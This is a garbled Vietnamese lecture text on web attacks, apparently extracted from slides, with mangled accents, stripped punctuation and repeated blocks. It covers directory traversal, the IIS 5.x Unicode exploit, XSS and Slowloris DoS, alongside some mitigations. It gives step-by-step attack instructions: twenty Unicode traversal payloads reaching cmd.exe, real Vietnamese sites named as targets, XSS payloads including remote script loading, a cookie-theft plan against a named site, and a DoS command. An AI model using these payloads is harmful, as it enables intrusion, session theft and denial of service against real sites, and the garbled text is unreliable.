Caacutech tốt nhất để kiểm tra xem trang web vagrave caacutec ứng dụng của bạn lagrave dễ bị tấn cocircng Directory Traversal lagrave sử dụng một Web Vulnerability Scanner
Web Vulnerability Scanner scan toagraven bộ trang web của bạn vagrave tự động kiểm tra lỗ hổng Directory Traversal Noacute sẽ thocircng baacuteo caacutec lỗi vagrave lagravem thế nagraveo để sửa chữa noacute
Trước hết đảm bảo bạn đatilde cagravei đặt phiecircn bản mới nhất của phần mềm Webserver (ISS Apache) bạn đang dugraveng vagrave chắc chắn rằng tất cả caacutec bản vaacute lỗi đatilde được aacutep dụng
kiểm tra biến cẩn thận (coacute thể aacutep dụng filter) khi sử dụng caacutec hagravem đatilde giới thiệu ở trecircn magrave coacute khả năng gacircy ra lỗi cho pheacutep kẻ tấn cocircng thực hiện Path Traversal
Với một hệ thống dễ bị Directory Traversal kẻ tấn cocircng coacute thể lagravem cho việc sử dụng lỗ hổng nagravey truy cập caacutec bộ phận khaacutec của hệ thống tập tin từ thư mục gốc
Điều nagravey coacute thể cung cấp cho những kẻ tấn cocircng khả năng xem những tập tin bị giới hạn hoặc thậm chiacute nguy hiểm hơn cho pheacutep kẻ tấn cocircng thực thi lệnh trecircn webservercoacute thể dẫn đến hacker coacute quyền đầy đủ trecircn hệ thống
Tuy nhiecircn một số filter như saustr_replace($_GET[help_file]) thigrave vẫn bị lỗi bởi lẽ kẻ tấn cocircng coacute thể sử dụng ldquohelliprdquo như thế sau khi qua code lọc ở trecircn noacute sẽ trở thagravenh ldquordquo
Rotilde ragraveng việc lọc như vậy vẫn khocircng triệt đểThay vagraveo đoacute caacutec bạn necircn sử dụng caacutec biểu thức chiacutenh để lọc tốt hơn eregi([]$_GET[help_file])
I KHAacuteI NIỆMII HOẠT ĐỘNG NHƯ THẾ NAgraveO III PHAacuteT HIỆN XSS BẰNG CAacuteCH NAgraveO IV CAacuteCH PHOgraveNG CHỐNG LỖI XSSV DEMO
IIS(Internet Information Service ) lagrave 1 ng d ng ứ ụwebserver mang th ng hi u c a Microsoftươ ệ ủ
IIS server v i caacutec phiecircn b n t tr c đ n phiecircn ớ ả ừ ướ ếb n 5x đ u coacute l i đ ta coacute th khai thaacutec m c đ nh ả ề ỗ ể ể ặ ịtiacutenh năng hit highlight c a IIS 5x b qua giai ủ ỏđo n ch ng th c c b n ạ ứ ự ơ ả
L i n m ph n l c IDA ISAPI (Internet Services ỗ ằ ở ầ ọApplication Programming Interface) noacute cho pheacutep m t maacutey tiacutenh t xa đ a l nh yecircu c u li t kecirc danh ộ ừ ư ệ ầ ệsaacutech file coacute trong h th ng maacuteyệ ố
Hacker coacute th s d ng th thu t đ n gi n lagrave g i ể ử ụ ủ ậ ơ ả ửcho maacutey ch m t kh i l ng x lyacute thocircng tin nhi u ủ ộ ố ượ ử ềh n kh năng c a noacute L ng thocircng tin ch a k p x ơ ả ủ ượ ư ị ửlyacute đoacute - v m t k thu t đ c g i lagrave ldquoshell coderdquo - coacute ề ặ ỹ ậ ượ ọth mang m t lo t caacutec cacircu l nh cho pheacutep k xacircm ể ộ ạ ệ ẻnh p ki m soaacutet maacutey tiacutenh n n nhacircn ậ ể ạ
httpwwwcanthogovvn httpwwwcantho1260net httphanhtrangsinhviennet httphauionlinecom httpdaynghedientucom httpsinhvienbinhdinhvn hellip Do l i nagravey đatilde l i th i necircn coacute th 1 s trang nagravey ỗ ỗ ờ ể ố
đatilde fix đ c l i trecircn ượ ỗ
Đ hack IIS server 5x ta dugraveng 2 cocircng c activeperl IE vagrave ể ụ1 exploit Unicodepl
Xaacutec đ nh trang web m c l i nagraveyị ắ ỗ S d ng telnet đ xaacutec đ nh trang Web ta t n cocircng coacute s ử ụ ể ị ấ ử
d ng IIS server 50 hay khocircng ụ
telnet lt tecircn trang Web gt 80 GET HEAD HTTP10
N u noacute khocircng baacuteo cho ta bi t trang web đang s d ng ch ng ế ế ử ụ ươtrigravenh gigrave thigrave caacutec b n hatildey thay đ i c ng 80 b ng caacutec c ng khaacutec ạ ổ ổ ằ ổnh 8080 81 8000 8001 vvhellip ư
Sau khi đatilde xaacutec đ nh đ c m c tiecircu caacutec b n vagraveo ị ượ ụ ạRun gt CMD gotilde
code perl unicodepl Host ( gotilde đ a ch server magrave caacutec b n mu n hack ) ị ỉ ạ ốPort 80 ( ho c 8080 81 8000 8001 tuỳ theo ặc ng magrave ta đatilde telnet tr c đoacute ) ổ ướ
Caacutec b n s th y b ng li t kecirc l i ( đatilde đ c l p trigravenh trong Unicodepl ) ạ ẽ ấ ả ệ ỗ ượ ậnh sau ư
[1] scriptsc0afwinntsystem32cmdexec+ [2]scriptsc19cwinntsystem32cmdexec+ [3] scriptsc1pcwinntsystem32cmdexec+ [4]scriptsc09vwinntsystem32cmdexec+ [5] scriptsc0qfwinntsystem32cmdexec+ [6] scriptsc18swinntsystem32cmdexec+ [7] scriptsc11cwinntsystem32cmdexec+ [8] scriptsc19cwinntsystem32cmdexec+ [9] scriptsc1afwinntsystem32cmdexec+ [10] scriptse080afwinntsystem32cmdexec+ [11]scriptsf08080afwinntsystem32cmdexec+ [12] scriptsf8808080afwinntsystem32cmdexec+ [13]scriptsfc80808080afwinntsystem32cmdexec+ [14]msadce080afe080afe080afwinntsystem32cmdexec+
[15]cgi-binc0afc0afc0afc0afc0afwinntsystem32cmdexec+ [16]samplesc0afc0afc0afc0afc0afwinntsystem32cmdexec+ [17]iisadmpwdc0afc0afc0afc0afc0afwinntsystem32cmdexec+ [18]_vti_cnfc0afc0afc0afc0afc0afwinntsystem32cmdexec+ [19]_vti_binc0afc0afc0afc0afc0afwinntsystem32cmdexec+ [20]adsamplesc0afc0afc0afc0afc0afwinntsystem32cmdexec+
Caacutec b n s th y đ c t t c caacutec l i trecircn n u trang Web n n ạ ẽ ấ ượ ấ ả ỗ ế ạnhacircn b t t c nh ng l i nh v y n u server c a n n nhacircn ị ấ ả ữ ỗ ư ậ ế ủ ạch b l i th 13 vagrave 17 thigrave b ng k t qu ch xu t hi n dograveng ỉ ị ỗ ứ ả ế ả ỉ ấ ệth 13 vagrave 17 magrave thocirci ứVD
b ng k t qu cho ta bi t trang Web n n nhacircn b l i th 3 ả ế ả ế ạ ị ỗ ứvagrave 7 ta s vagraveo IE vagrave nh p đo n matilde t ng ng trecircn ẽ ậ ạ ươ ứAddress
httpwww4rumcomscriptsc1pcwinntsystem32cmdexec+ lt == l i dograveng th 3 ỗ ứho c ặhttpwww4rumcomscriptsc11cwinntsystem32cmdexec+ lt == l i dograveng th 7 ỗ ứ
VD Đ th y đ c n i dung C ta gotilde đ a ch sauể ấ ượ ộ ổ ị ỉ httpwwwtnhcomvn_vti_binc0af
c0afc0afc0afc0afwinntsystem32cmdexec+dir+c
Th ng thigrave source trang web đ t ườ ặ ởinetpubwwwroot
Microsoft khuy n caacuteo ng i dugraveng necircn nacircng c p ế ườ ấlecircn phiecircn b n IIS 60 v i kh năng b o m t t t ả ớ ả ả ậ ốh nơ
Dugrave v y nh ng Microsoft v n khocircng xem l i IIS ậ ư ẫ ỗ5x lagrave m t l i th c s vagrave khocircng phaacutet hagravenh b n ộ ỗ ự ự ảvaacute l i Thay vagraveo đoacute Microsoft l i đ a ra m t ỗ ạ ư ộh ng d n 6 b c nh m giuacutep ng i dugraveng gi m ướ ẫ ướ ằ ườ ảb t nguy c b t n cocircng ớ ơ ị ấ
Cross-Site Scripting (hay cograven được gọi tắt lagrave XSS ) lagrave một kĩ thuật tấn cocircng bằng caacutech chegraven vagraveo caacutec website động (ASP PHP CGI JSP ) những thẻ HTML hay những đoạn matilde script nguy hiểm coacute thể gacircy nguy hại cho những người sử dụng
Trong đoacute những đoạn matilde nguy hiểm đựơc chegraven vagraveo hầu hết được viết bằng caacutec Client-Site Script như JavaScript Jscriptvagrave cũng coacute thể lagrave cả caacutec thẻ HTML
Về cơ bản XSS cũng như SQL Injection noacutecũng lagrave caacutec yecircu cầu (request) được gửi từcaacutec maacutey client tới server nhằm chegraven vagraveo đoacutecaacutec thocircng tin vượt quaacute tầm kiểm soaacutet củaserverCoacute thể lagrave một request được gửi từ caacutec formdữ liệu hoặc cũng coacute thể đoacute chỉ lagrave caacutec URL
Attacker sẽ chegraven caacutec đoạn matilde vagraveo link của đường dẫn để thực thi trecircn trigravenh duyệt của người dugraveng dẫn đến việc mất cookies mật khẩu session hay fishing lừa đảo hay chegraven virus
Xss thường coacute dạng như sau httpwwwhcmuafeduvncontentsphpids=
ldquoltscriptgtalert(22222)ltscriptgtrdquoampur=admin Kết quả một thocircng baacuteo 22222
C1Dugraveng caacutec tool để queacutet caacutec trang webcaacutec tool hỗ trợ sẽ tigravem kiếm lỗi
C2Chegraven vagraveo caacutec đoạn script vagraveo caacutec form inputbao gồm 5 bước sau đacircy
B1Mở website cần khai thaacutec B2 Xaacutec định caacutec site coacute form để nhập dữ liệu
input như lagrave đăng nhậptigravem kiếmcomment nhập vagraveo một chuỗi textở đacircy nhập ldquoxssrdquo
B3Xem thocircng tin trả vềnếu chuacuteng ta thấy như sauldquoCaacutec chữ bạn tigravem khocircng thấy trong dữ liệurdquo lsquoTagravei khoản XSS khocircng chiacutenh xaacutecrsquo lsquoĐăng nhập với XSS khocircng thagravenh cocircngrsquohellip
B4Khi xaacutec định được vugraveng lỗi thigrave ta chegraven caacutec đoạn script để tiếp tục xaacutec định lỗi
VdltSCRIPTgtalert(xss)ltSCRIPTgt Nếu như kết quả trả về lagrave một thocircng
baacuteoxss thigrave chắc chắn trang đoacute bị lỗi xss Nếu khocircng hiện được thocircng baacuteo thigrave ta
viewsouce lecircn vagrave tigravem từ xss nếu coacute thigrave chắc chắn bị lỗi
B5 Lập kế hoạch tấn cocircng
B4Ta sẽ chegraven caacutec đoạn script coacute dạng như sau vagraveo thanh nhập địa chỉ hay caacutec form đăng nhập
Viacute dụxuất ra một thocircng baacuteo lagrave xss3 ldquoltSCRIPTgtalert(StringfromCharCode(888383))ltS
CRIPTgtrdquo ldquoltSCRIPTgtalert(xss)ltSCRIPTgtrdquo ldquoltSCRIPT
SRC=httphackersorgxssjsgtltSCRIPTgtrdquo ltIMG SRC=javascriptalert(XSS)gtldquo ldquoltSCRIPTgtalert(31323233)ltSCRIPTgtrdquo
matilde hex value url ldquoltSCRIPTgtalert(ampx78ampx73ampx73)ltSCRIPTgtrdquo
matilde hex value htmlTham khảo trecircn httphackersorgxsshtml
Một tấn cocircng XSS chỉ thực hiện được khi gửi một trang web cho trigravenh duyệt web của nạn nhacircn coacute kegravem theo matilde script độc của kẻ tấn cocircng
Vigrave vậy caacutec người phaacutet triển web phải coacute chế độ lọc dữ liệu input hoặc web server phải coacute chế độ matilde hoacutea
Lọcbằng caacutech lọc caacutec kiacute tự meta (kiacute tự đặc biệt) được định nghĩa trong đặc tả của HTML
Matilde hoacuteaMatilde hoacutea phiacutea maacutey chủ lagrave một tiến trigravenh magrave tất cả nội dung phaacutet sinh động sẽ đi qua một hagravem matilde hoacutea nơi magrave caacutec thẻ script sẽ được thay thể bởi matilde của noacute
Yacute nghĩa c a đo n demo lagrave l y cookie c a ng i ủ ạ ấ ủ ườdugraveng thocircng qua l i xssỗ
B1Tigravem l i trecircn vieclambankcomỗ B2Attacker t o host đ nh s ng m 4 file sauạ ị ẵ ồ + indexhtml th c hi n scriptự ệ + luutxt l u cookie ư + xuliphp x lyacute cookie ử + xssjs l y cookieấ B3Attacker g i email t i ng i dugraveng trong đoacute s coacute ử ớ ườ ẽ
đ ng link đ n trang attackerườ ế
B4Người dugraveng đăng nhập vagraveo vieclambank B5Người dugraveng truy cập vagraveo email nhấn vagraveo
link sang trang attacker B6Attacker lấy cookie về vagrave sử dụng
Mức độ nguy hiểm cao Caacutech tấn cocircng nagravey chưa thể dograve tigravem ra vagrave cho pheacutep tin tặc đaacutenh cắp mật khẩu hijack vagraveo caacutec phiecircn giao dịch ngacircn hagraveng trực tuyến hay thậm chiacute lagrave đưa ra một bản cập nhật trigravenh duyệt FireFox coacute điacutenh kegravem matilde độc
Khi truy cập website thigrave necircn gotilde theo dạng httpswebsite vagrave nhớ click vagraveo biểu tượng ổ khoacutea khi lướt web xem coacute phải certificate đoacute coacute phải lagrave của web đoacute ko hay lagrave cert giả mạo
Mocirc tả Demo Caacutech phograveng chống
Do Apache mở socket vagrave nhận data từ client (3-way handshakes đatilde hoagraven tất) cho mọi request đi vagraveo vagrave giới hạn mặt định max_client lagrave 150 Vigrave vậy khi slowloris gửi tới server những http request khocircng hoagraven chỉnh apache phải chờ cho http request nagravey time out mặt định lagrave 300s Nếu slowloris gửi liecircn tục caacutec request nagravey tới webserver thigrave chỉ trong vagravei giacircy apache đatilde đạt max_client từ chống phục vụ caacutec client khaacutec
Với giaacute trị TimeOut của apache thigrave noacute ấn định cho 3 điều chiacutenh
1 Thời gian cần thiết để nhận trọn vẹn một g i ửb ng ằ GET 2 Thời gian giữa caacutec goacutei tin TCP g i b ng ử ằ POST hoặc PUT (coacute chứa data) 3 Thời gian giữa caacutec cuacute TCP ACK trong quaacute trigravenh chuyển tải dữ liệu giữa client (browser) vagrave web server (apache)
Nếu apache khocircng dugraveng giaacute trị TimeOut chung như thế nagravey magrave gaacuten TimeOut cụ thể cho từng loại GET POST HEAD thậm chiacute cụ thể hơn cho từng ấn định như LimitRequestLine LimitRequestFieldSize thigrave TimeOut cho loại nagravey coacute thể được kiểm soaacutet chặt chẽ vagrave hữu lyacute hơn
Cơ chế xử lyacute một request của apache khaacute chặt chẽ noacute coacute đến 7 phase khaacutec nhau (unescapes URL strips parent and elements from the URI initial URI location walk translate_name Hook map_to_storage URI location walk Hook header_parser) Tuy nhiecircn đến phase parse header của một HTTP request thigrave noacute bị chết bởi slowloris vigrave apache hoagraven toagraven khocircng coacute cơ chế nagraveo kiểm tra nội dung của header cho đến khi noacute nhận được đầy đủ (dựa vagraveo CRLF character trecircn HTTP header) Socket do slowloris khởi tạo vẫn giữ nguyecircn ở đoacute vagrave apache vẫn chờ cho đến khi TimeOut
Yecircu c u ầ Dugraveng ph n m m ActivePerlầ ề Coacute file dosapchepl Vagraveo cmd gotilde lệnh
perl tecircn đường dẫn chứa file dosapchepl ndashdns tecircn trang web cần dos
Ruacutet ngắn TimeOut xuống đến mức tối thiểu thigrave slowloris trở necircn vocirc taacutec dụng nh ng s nh ư ẽ ảh ng t i caacutec rerequest khaacutec khocircng ph do ưở ớ ảslowloris gửi tới
Dugraveng iptables chặn những những ip gửi nhiều request liecircn tục ( Phương aacuten nagravey coacute thể dẫn đến việc chặn nhầm caacutec proxy)
Dugraveng haproxy để cho gửi những request hoagraven chỉnh tới apche
Dugraveng mod_antiloris giới hạn số lượng kết nối đồng thời của 1 địa chỉ ip giử những request tới
I Khaacutei niệmII Directory Traversal Attack theo ứng dụng
webIII Directory Traversal Attack theo WebserverIV Lagravem thế nagraveo để kiểm tra lỗ hổng Directory
Traversal V Ngăn chặn Directory Traversal AttackVI Taacutec hại
Kiểm soaacutet việc truy cập nội dung của 1 trang web lagrave rất quan trọng đối với 1 webserver
Directory Traversal Attack Path Traversal hay cograven được biết với một số tecircn khaacutec như ldquodot-dot-slashrdquo ldquodirectory traversalrdquordquodirectory clumbingrdquo vagrave ldquobacktrackingrdquo lagrave higravenh thức tấn cocircng truy cập đến những file vagrave thư mục magrave được lưu becircn ngoagravei thư mục webroot
Maacutey chủ web cung cấp hai cấp độ chiacutenh của cơ chế bảo mật Access Control Lists (ACLs) vagrave Root directory
Access Control Lists (ACL) được sử dụng trong quaacute trigravenh uỷ quyền
Noacute lagrave một danh saacutech magrave caacutec maacutey chủ web của quản trị viecircn sử dụng để chỉ những người dugraveng hoặc caacutec nhoacutem coacute thể truy cập sửa đổi hoặc thực thi caacutec tập tin cụ thể trecircn maacutey chủ cũng như quyền truy cập khaacutec
Caacutec thư mục gốc lagrave một thư mục cụ thể trecircn hệ thống tập tin maacutey chủ trong đoacute người sử dụng bị hạn chế
Người dugraveng khocircng thể truy cập bất cứ điều gigrave ở trecircn gốc nagravey
Viacute dụ caacutec thư mục gốc mặc định của IIS trecircn
Windows lagrave C Inetpub wwwroot vagrave với thiết lập nagravey một người dugraveng khocircng coacute
quyền truy cập vagraveo C Windows nhưng coacute quyền truy cập vagraveo C Inetpub wwwroot
vagrave bất kỳ thư mục khaacutec vagrave caacutec tập tin theo thư mục gốc (được cung cấp cho người dugraveng được xaacutec thực thocircng qua ACL)
Lỗ hổng nagravey coacute thể tồn tại hoặc trong caacutec phần mềm maacutey chủ web riecircng của migravenh hoặc trong matilde ứng dụng web
Để thực hiện một cuộc tấn cocircng theo cacircy thư mục tất cả caacutec nhu cầu của kẻ tấn cocircng lagrave một trigravenh duyệt web vagrave một số thocircng tin tigravem thấy trongbất kỳ tập tin vagrave thư mục mặc định trecircn hệ thống
Trong caacutec ứng dụng web với caacutec trang dynamic input thường nhận được từ caacutec trigravenh duyệt thocircng qua phương thức GET hoặc yecircu cầu POST Dưới đacircy lagrave một viacute dụ của một yecircu cầu HTTP GET URL
httptestwebarticlescomshowaspview=oldarchivehtml
Với URL nagravey trigravenh duyệt yecircu cầu hiển thị showasp động từ maacutey chủ vagrave cugraveng với noacute cũng sẽ gửi tham số ldquoView với giaacute trị của oldarchivehtml
Khi yecircu cầu nagravey được thực thi trecircn maacutey chủ web showasp tigravem file oldarchivehtm từ hệ thống tập tin của maacutey chủ gửi noacute trở lại trigravenh duyệt sau đoacute hiển thị cho người dugraveng
Hackers sẽ giả định rằng showasp coacute thể lấy caacutec tập tin từ hệ thống tập tin vagrave gửi URL tuỳ chỉnh
httptestwebarticlescomshowaspview=Windowssystemini
Trang web sẽ lấy file systemini từ hệ thống tập tin vagrave hiển thị noacute cho người dugraveng
Những biểu hiện hướng dẫn của hệ thống để đi một trong những thư mục cao hơn magrave thường được sử dụng để chứa caacutec file hệ thống
Kẻ tấn cocircng coacute thể đoaacuten được thư mục coacute bao nhiecircu cấp để tigravem thư mục Windows trecircn hệ thống nhưng đacircy lagrave một caacutech dễ dagraveng thực hiện bằng caacutech thử với caacutec cấp khaacutec nhau
Ngoagravei lỗ hổng trong caacutec matildeNgay cả bản thacircn webserver cũng coacute thể tạo điều kiện cho caacutec cuộc tấn cocircng Directory Traversal
Lỗi coacute thể phaacutet sinh do phần mềm web server hoặc trong một số file script coacute sẵn trecircn server
Lỗi đatilde được phaacutet sinh sẵn trong caacutec phiecircn bản của phần mềm werver web coacute những webserver trực tuyến magrave vẫn cograven sử dụng phiecircn bản cũ của IIS vagrave Apache magrave coacute thể mắc lỗi Directory Traversal
Bạn coacute thể coacute một số thư mục mặc định chứa những file Script nhạy cảm coacute thể khai thaacutec được cũng được hacker khai thaacutec
Viacute dụ một yecircu cầu URL lagravem cho việc sử dụng thư
mục script của IIS tới thư mục đi qua vagrave thực thi một lệnh coacute thể được
httpservercomscripts5cWindowsSystem32 cmdexec+dir+c cmdexe c + dir + c
ldquo 5crdquo lagrave 1 matilde trong URL yecircu cầu một webserver sử dụng để đại diện cho kiacute tự thường dugraveng Trong trường hợp nagravey ldquo 5crdquo đại diện cho caacutec kyacute tự
Những phiecircn bản mới của caacutec phần mềm webserver sẽ cấm vagrave khocircng co caacutec matilde nagravey hoạt độngTuy nhiecircn một số phiecircn bản cũ hơn khocircng lọc ra caacutec matilde trong thư mục gốc vagrave sẽ cho pheacutep hacker thực thi lệnh đoacute
Caacutec yecircu cầu sẽ trả lại cho người dugraveng một danh saacutech tất cả file trong ổ C bằng caacutech thực hiện lệnh dir c trong cmd
Trong quaacute trigravenh khai thaacutec k t n cocircng coacute th encode ho c ẻ ấ ể ặdouble encode s d ng 00(null) đ bypass filter magrave ử ụ ểWebsite đoacute aacutep d ngụ
2e2e2f mocirc tả cho 2e2e mocirc tả cho 2f mocirc tả cho 2e2e5c mocirc tả cho 2e2e mocirc tả cho 5c mocirc tả cho 252e252e255c mocirc tả cho 255c mocirc tả cho hellip
Đối với UTF-8 c0af mocirc tả cho c19c mocirc tả cho
Khi tiếp cận với một ứng dụng Web việc kiểm tra noacute coacute khả năng bị lỗi Path Traversal coacute thể được thực hiện bằng hai loại
+ Nếu kẻ tấn cocircng khocircng thể coacute source thigrave chuacuteng sẽ dugraveng spider crawler để thực hiện kiểm tra Website vagrave từ những kết quả magrave spider mang lại chuacuteng sẽ lần lượt kiểm tra caacutec biến đối với caacutec phương thức GET POST hoặc COOKIE magrave coacute khả năng bị lỗi
+ Nếu kẻ tấn cocircng coacute source code thigrave coacute thể tigravem kiếm những hagravem của những ngocircn ngữ lập trigravenh Web magrave coacute khả năng gacircy ra lỗi Path Traversal như
PHP include() include_once() require() require_once() fopen() readfile() JSPServlet javaioFile() javaioFileReader() ASP include file include virtual
Caacutech tốt nhất để kiểm tra xem trang web vagrave caacutec ứng dụng của bạn lagrave dễ bị tấn cocircng Directory Traversal lagrave sử dụng một Web Vulnerability Scanner
Web Vulnerability Scanner scan toagraven bộ trang web của bạn vagrave tự động kiểm tra lỗ hổng Directory Traversal Noacute sẽ thocircng baacuteo caacutec lỗi vagrave lagravem thế nagraveo để sửa chữa noacute
Trước hết đảm bảo bạn đatilde cagravei đặt phiecircn bản mới nhất của phần mềm Webserver (ISS Apache) bạn đang dugraveng vagrave chắc chắn rằng tất cả caacutec bản vaacute lỗi đatilde được aacutep dụng
kiểm tra biến cẩn thận (coacute thể aacutep dụng filter) khi sử dụng caacutec hagravem đatilde giới thiệu ở trecircn magrave coacute khả năng gacircy ra lỗi cho pheacutep kẻ tấn cocircng thực hiện Path Traversal
Với một hệ thống dễ bị Directory Traversal kẻ tấn cocircng coacute thể lagravem cho việc sử dụng lỗ hổng nagravey truy cập caacutec bộ phận khaacutec của hệ thống tập tin từ thư mục gốc
Điều nagravey coacute thể cung cấp cho những kẻ tấn cocircng khả năng xem những tập tin bị giới hạn hoặc thậm chiacute nguy hiểm hơn cho pheacutep kẻ tấn cocircng thực thi lệnh trecircn webservercoacute thể dẫn đến hacker coacute quyền đầy đủ trecircn hệ thống
Tuy nhiecircn một số filter như saustr_replace($_GET[help_file]) thigrave vẫn bị lỗi bởi lẽ kẻ tấn cocircng coacute thể sử dụng ldquohelliprdquo như thế sau khi qua code lọc ở trecircn noacute sẽ trở thagravenh ldquordquo
Rotilde ragraveng việc lọc như vậy vẫn khocircng triệt đểThay vagraveo đoacute caacutec bạn necircn sử dụng caacutec biểu thức chiacutenh để lọc tốt hơn eregi([]$_GET[help_file])
I KHAacuteI NIỆMII HOẠT ĐỘNG NHƯ THẾ NAgraveO III PHAacuteT HIỆN XSS BẰNG CAacuteCH NAgraveO IV CAacuteCH PHOgraveNG CHỐNG LỖI XSSV DEMO
IIS(Internet Information Service ) lagrave 1 ng d ng ứ ụwebserver mang th ng hi u c a Microsoftươ ệ ủ
IIS server v i caacutec phiecircn b n t tr c đ n phiecircn ớ ả ừ ướ ếb n 5x đ u coacute l i đ ta coacute th khai thaacutec m c đ nh ả ề ỗ ể ể ặ ịtiacutenh năng hit highlight c a IIS 5x b qua giai ủ ỏđo n ch ng th c c b n ạ ứ ự ơ ả
L i n m ph n l c IDA ISAPI (Internet Services ỗ ằ ở ầ ọApplication Programming Interface) noacute cho pheacutep m t maacutey tiacutenh t xa đ a l nh yecircu c u li t kecirc danh ộ ừ ư ệ ầ ệsaacutech file coacute trong h th ng maacuteyệ ố
Hacker coacute th s d ng th thu t đ n gi n lagrave g i ể ử ụ ủ ậ ơ ả ửcho maacutey ch m t kh i l ng x lyacute thocircng tin nhi u ủ ộ ố ượ ử ềh n kh năng c a noacute L ng thocircng tin ch a k p x ơ ả ủ ượ ư ị ửlyacute đoacute - v m t k thu t đ c g i lagrave ldquoshell coderdquo - coacute ề ặ ỹ ậ ượ ọth mang m t lo t caacutec cacircu l nh cho pheacutep k xacircm ể ộ ạ ệ ẻnh p ki m soaacutet maacutey tiacutenh n n nhacircn ậ ể ạ
httpwwwcanthogovvn httpwwwcantho1260net httphanhtrangsinhviennet httphauionlinecom httpdaynghedientucom httpsinhvienbinhdinhvn hellip Do l i nagravey đatilde l i th i necircn coacute th 1 s trang nagravey ỗ ỗ ờ ể ố
đatilde fix đ c l i trecircn ượ ỗ
Đ hack IIS server 5x ta dugraveng 2 cocircng c activeperl IE vagrave ể ụ1 exploit Unicodepl
Xaacutec đ nh trang web m c l i nagraveyị ắ ỗ S d ng telnet đ xaacutec đ nh trang Web ta t n cocircng coacute s ử ụ ể ị ấ ử
d ng IIS server 50 hay khocircng ụ
telnet lt tecircn trang Web gt 80 GET HEAD HTTP10
N u noacute khocircng baacuteo cho ta bi t trang web đang s d ng ch ng ế ế ử ụ ươtrigravenh gigrave thigrave caacutec b n hatildey thay đ i c ng 80 b ng caacutec c ng khaacutec ạ ổ ổ ằ ổnh 8080 81 8000 8001 vvhellip ư
Sau khi đatilde xaacutec đ nh đ c m c tiecircu caacutec b n vagraveo ị ượ ụ ạRun gt CMD gotilde
code perl unicodepl Host ( gotilde đ a ch server magrave caacutec b n mu n hack ) ị ỉ ạ ốPort 80 ( ho c 8080 81 8000 8001 tuỳ theo ặc ng magrave ta đatilde telnet tr c đoacute ) ổ ướ
Caacutec b n s th y b ng li t kecirc l i ( đatilde đ c l p trigravenh trong Unicodepl ) ạ ẽ ấ ả ệ ỗ ượ ậnh sau ư
[1] scriptsc0afwinntsystem32cmdexec+ [2]scriptsc19cwinntsystem32cmdexec+ [3] scriptsc1pcwinntsystem32cmdexec+ [4]scriptsc09vwinntsystem32cmdexec+ [5] scriptsc0qfwinntsystem32cmdexec+ [6] scriptsc18swinntsystem32cmdexec+ [7] scriptsc11cwinntsystem32cmdexec+ [8] scriptsc19cwinntsystem32cmdexec+ [9] scriptsc1afwinntsystem32cmdexec+ [10] scriptse080afwinntsystem32cmdexec+ [11]scriptsf08080afwinntsystem32cmdexec+ [12] scriptsf8808080afwinntsystem32cmdexec+ [13]scriptsfc80808080afwinntsystem32cmdexec+ [14]msadce080afe080afe080afwinntsystem32cmdexec+
[15]cgi-binc0afc0afc0afc0afc0afwinntsystem32cmdexec+ [16]samplesc0afc0afc0afc0afc0afwinntsystem32cmdexec+ [17]iisadmpwdc0afc0afc0afc0afc0afwinntsystem32cmdexec+ [18]_vti_cnfc0afc0afc0afc0afc0afwinntsystem32cmdexec+ [19]_vti_binc0afc0afc0afc0afc0afwinntsystem32cmdexec+ [20]adsamplesc0afc0afc0afc0afc0afwinntsystem32cmdexec+
Caacutec b n s th y đ c t t c caacutec l i trecircn n u trang Web n n ạ ẽ ấ ượ ấ ả ỗ ế ạnhacircn b t t c nh ng l i nh v y n u server c a n n nhacircn ị ấ ả ữ ỗ ư ậ ế ủ ạch b l i th 13 vagrave 17 thigrave b ng k t qu ch xu t hi n dograveng ỉ ị ỗ ứ ả ế ả ỉ ấ ệth 13 vagrave 17 magrave thocirci ứVD
b ng k t qu cho ta bi t trang Web n n nhacircn b l i th 3 ả ế ả ế ạ ị ỗ ứvagrave 7 ta s vagraveo IE vagrave nh p đo n matilde t ng ng trecircn ẽ ậ ạ ươ ứAddress
httpwww4rumcomscriptsc1pcwinntsystem32cmdexec+ lt == l i dograveng th 3 ỗ ứho c ặhttpwww4rumcomscriptsc11cwinntsystem32cmdexec+ lt == l i dograveng th 7 ỗ ứ
VD Đ th y đ c n i dung C ta gotilde đ a ch sauể ấ ượ ộ ổ ị ỉ httpwwwtnhcomvn_vti_binc0af
c0afc0afc0afc0afwinntsystem32cmdexec+dir+c
Th ng thigrave source trang web đ t ườ ặ ởinetpubwwwroot
Microsoft khuy n caacuteo ng i dugraveng necircn nacircng c p ế ườ ấlecircn phiecircn b n IIS 60 v i kh năng b o m t t t ả ớ ả ả ậ ốh nơ
Dugrave v y nh ng Microsoft v n khocircng xem l i IIS ậ ư ẫ ỗ5x lagrave m t l i th c s vagrave khocircng phaacutet hagravenh b n ộ ỗ ự ự ảvaacute l i Thay vagraveo đoacute Microsoft l i đ a ra m t ỗ ạ ư ộh ng d n 6 b c nh m giuacutep ng i dugraveng gi m ướ ẫ ướ ằ ườ ảb t nguy c b t n cocircng ớ ơ ị ấ
Cross-Site Scripting (hay cograven được gọi tắt lagrave XSS ) lagrave một kĩ thuật tấn cocircng bằng caacutech chegraven vagraveo caacutec website động (ASP PHP CGI JSP ) những thẻ HTML hay những đoạn matilde script nguy hiểm coacute thể gacircy nguy hại cho những người sử dụng
Trong đoacute những đoạn matilde nguy hiểm đựơc chegraven vagraveo hầu hết được viết bằng caacutec Client-Site Script như JavaScript Jscriptvagrave cũng coacute thể lagrave cả caacutec thẻ HTML
Về cơ bản XSS cũng như SQL Injection noacutecũng lagrave caacutec yecircu cầu (request) được gửi từcaacutec maacutey client tới server nhằm chegraven vagraveo đoacutecaacutec thocircng tin vượt quaacute tầm kiểm soaacutet củaserverCoacute thể lagrave một request được gửi từ caacutec formdữ liệu hoặc cũng coacute thể đoacute chỉ lagrave caacutec URL
Attacker sẽ chegraven caacutec đoạn matilde vagraveo link của đường dẫn để thực thi trecircn trigravenh duyệt của người dugraveng dẫn đến việc mất cookies mật khẩu session hay fishing lừa đảo hay chegraven virus
Xss thường coacute dạng như sau httpwwwhcmuafeduvncontentsphpids=
ldquoltscriptgtalert(22222)ltscriptgtrdquoampur=admin Kết quả một thocircng baacuteo 22222
C1Dugraveng caacutec tool để queacutet caacutec trang webcaacutec tool hỗ trợ sẽ tigravem kiếm lỗi
C2Chegraven vagraveo caacutec đoạn script vagraveo caacutec form inputbao gồm 5 bước sau đacircy
B1Mở website cần khai thaacutec B2 Xaacutec định caacutec site coacute form để nhập dữ liệu
input như lagrave đăng nhậptigravem kiếmcomment nhập vagraveo một chuỗi textở đacircy nhập ldquoxssrdquo
